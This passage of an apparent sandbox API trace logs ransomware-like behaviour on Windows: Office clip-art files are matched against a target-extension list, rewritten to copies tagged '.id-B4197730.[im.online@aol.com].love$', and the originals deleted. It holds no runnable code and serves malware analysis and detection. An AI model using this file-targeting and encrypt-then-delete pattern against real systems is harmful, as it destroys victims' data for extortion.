Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0252.776] lstrlenW (lpString=".zip") returned 4 [0252.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.776] lstrlenW (lpString=".rar") returned 4 [0252.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.776] lstrlenW (lpString=".bz2") returned 4 [0252.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.776] lstrlenW (lpString=".7z") returned 3 [0252.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0252.776] lstrlenW (lpString=".dbf") returned 4 [0252.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0252.776] lstrlenW (lpString=".1cd") returned 4 [0252.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0252.776] lstrlenW (lpString=".jpg") returned 4 [0252.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.776] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.776] lstrlenW (lpString="FD02116_.WMF") returned 12 [0252.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0252.777] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3988) returned 1 [0252.777] CloseHandle (hObject=0x450) returned 1 [0252.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x220 [0252.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0252.778] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.778] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0252.779] GetLastError () returned 0x0 [0252.779] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xf94, lpOverlapped=0x0) returned 1 [0253.078] WriteFile (in: hFile=0x544, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0253.079] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0253.079] WriteFile (in: hFile=0x544, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0253.080] SetEndOfFile (hFile=0x544) returned 1 [0253.080] CloseHandle (hObject=0x544) returned 1 [0253.080] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.080] SetEndOfFile (hFile=0x450) returned 1 [0253.084] CloseHandle (hObject=0x450) returned 1 [0253.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0253.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0253.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0253.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0253.318] lstrlenW (lpString=".doc") returned 4 [0253.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.318] lstrlenW (lpString=".docx") returned 5 [0253.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.318] lstrlenW (lpString=".pdf") returned 4 [0253.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.318] lstrlenW (lpString=".xls") returned 4 [0253.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.318] lstrlenW (lpString=".xlsx") returned 5 [0253.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.318] lstrlenW (lpString=".ppt") returned 4 [0253.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0253.318] lstrlenW (lpString=".zip") returned 4 [0253.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.319] lstrlenW (lpString=".rar") returned 4 [0253.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.319] lstrlenW (lpString=".bz2") returned 4 [0253.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.319] lstrlenW (lpString=".7z") returned 3 [0253.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0253.319] lstrlenW (lpString=".dbf") returned 4 [0253.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0253.319] lstrlenW (lpString=".1cd") returned 4 [0253.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0253.319] lstrlenW (lpString=".jpg") returned 4 [0253.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0253.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0253.319] lstrlenW (lpString=".doc") returned 4 [0253.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.319] lstrlenW (lpString=".docx") returned 5 [0253.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.319] lstrlenW (lpString=".pdf") returned 4 [0253.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.319] lstrlenW (lpString=".xls") returned 4 [0253.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.320] lstrlenW (lpString=".xlsx") returned 5 [0253.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.320] lstrlenW (lpString=".ppt") returned 4 [0253.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0253.320] lstrlenW (lpString=".zip") returned 4 [0253.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.320] lstrlenW (lpString=".rar") returned 4 [0253.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.320] lstrlenW (lpString=".bz2") returned 4 [0253.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.320] lstrlenW (lpString=".7z") returned 3 [0253.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0253.320] lstrlenW (lpString=".dbf") returned 4 [0253.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0253.320] lstrlenW (lpString=".1cd") returned 4 [0253.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0253.320] lstrlenW (lpString=".jpg") returned 4 [0253.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.320] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0253.321] lstrlenW (lpString="HH00057_.WMF") returned 12 [0253.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0253.380] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3764) returned 1 [0253.380] CloseHandle (hObject=0x540) returned 1 [0253.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220 [0253.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0253.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0253.601] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.601] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0253.765] GetLastError () returned 0x0 [0253.765] ReadFile (in: hFile=0x45c, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xeb4, lpOverlapped=0x0) returned 1 [0254.544] WriteFile (in: hFile=0x54c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec0, lpOverlapped=0x0) returned 1 [0254.545] ReadFile (in: hFile=0x45c, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0254.545] WriteFile (in: hFile=0x54c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0254.545] SetEndOfFile (hFile=0x54c) returned 1 [0254.545] CloseHandle (hObject=0x54c) returned 1 [0254.545] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.545] SetEndOfFile (hFile=0x45c) returned 1 [0254.614] CloseHandle (hObject=0x45c) returned 1 [0254.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0254.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0254.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0254.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0254.616] lstrlenW (lpString=".doc") returned 4 [0254.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.616] lstrlenW (lpString=".docx") returned 5 [0254.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0254.616] lstrlenW (lpString=".pdf") returned 4 [0254.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.616] lstrlenW (lpString=".xls") returned 4 [0254.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.617] lstrlenW (lpString=".xlsx") returned 5 [0254.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0254.617] lstrlenW (lpString=".ppt") returned 4 [0254.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0254.617] lstrlenW (lpString=".zip") returned 4 [0254.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.617] lstrlenW (lpString=".rar") returned 4 [0254.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.617] lstrlenW (lpString=".bz2") returned 4 [0254.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.617] lstrlenW (lpString=".7z") returned 3 [0254.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0254.617] lstrlenW (lpString=".dbf") returned 4 [0254.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0254.617] lstrlenW (lpString=".1cd") returned 4 [0254.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0254.617] lstrlenW (lpString=".jpg") returned 4 [0254.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0254.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0254.617] lstrlenW (lpString=".doc") returned 4 [0254.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.617] lstrlenW (lpString=".docx") returned 5 [0254.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0254.617] lstrlenW (lpString=".pdf") returned 4 [0254.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.617] lstrlenW (lpString=".xls") returned 4 [0254.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.618] lstrlenW (lpString=".xlsx") returned 5 [0254.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0254.618] lstrlenW (lpString=".ppt") returned 4 [0254.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0254.618] lstrlenW (lpString=".zip") returned 4 [0254.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.618] lstrlenW (lpString=".rar") returned 4 [0254.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.618] lstrlenW (lpString=".bz2") returned 4 [0254.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.618] lstrlenW (lpString=".7z") returned 3 [0254.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0254.618] lstrlenW (lpString=".dbf") returned 4 [0254.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0254.618] lstrlenW (lpString=".1cd") returned 4 [0254.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0254.618] lstrlenW (lpString=".jpg") returned 4 [0254.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.618] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0254.618] lstrlenW (lpString="HH00231_.WMF") returned 12 [0254.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0254.695] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2232) returned 1 [0254.695] CloseHandle (hObject=0x450) returned 1 [0254.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220 [0254.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0255.561] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.562] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0255.643] GetLastError () returned 0x0 [0255.643] ReadFile (in: hFile=0x548, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x8b8, lpOverlapped=0x0) returned 1 [0255.645] WriteFile (in: hFile=0x450, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0255.646] ReadFile (in: hFile=0x548, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0255.646] WriteFile (in: hFile=0x450, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0255.646] SetEndOfFile (hFile=0x450) returned 1 [0255.646] CloseHandle (hObject=0x450) returned 1 [0255.646] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.646] SetEndOfFile (hFile=0x548) returned 1 [0255.649] CloseHandle (hObject=0x548) returned 1 [0255.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0255.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0255.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0255.650] lstrlenW (lpString=".doc") returned 4 [0255.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.650] lstrlenW (lpString=".docx") returned 5 [0255.650] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.650] lstrlenW (lpString=".pdf") returned 4 [0255.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.651] lstrlenW (lpString=".xls") returned 4 [0255.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.651] lstrlenW (lpString=".xlsx") returned 5 [0255.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.651] lstrlenW (lpString=".ppt") returned 4 [0255.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0255.651] lstrlenW (lpString=".zip") returned 4 [0255.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.651] lstrlenW (lpString=".rar") returned 4 [0255.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.651] lstrlenW (lpString=".bz2") returned 4 [0255.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.651] lstrlenW (lpString=".7z") returned 3 [0255.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0255.651] lstrlenW (lpString=".dbf") returned 4 [0255.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0255.651] lstrlenW (lpString=".1cd") returned 4 [0255.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0255.651] lstrlenW (lpString=".jpg") returned 4 [0255.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0255.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0255.651] lstrlenW (lpString=".doc") returned 4 [0255.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.651] lstrlenW (lpString=".docx") returned 5 [0255.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.651] lstrlenW (lpString=".pdf") returned 4 [0255.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.652] lstrlenW (lpString=".xls") returned 4 [0255.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.652] lstrlenW (lpString=".xlsx") returned 5 [0255.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.652] lstrlenW (lpString=".ppt") returned 4 [0255.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0255.652] lstrlenW (lpString=".zip") returned 4 [0255.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.652] lstrlenW (lpString=".rar") returned 4 [0255.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.652] lstrlenW (lpString=".bz2") returned 4 [0255.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.652] lstrlenW (lpString=".7z") returned 3 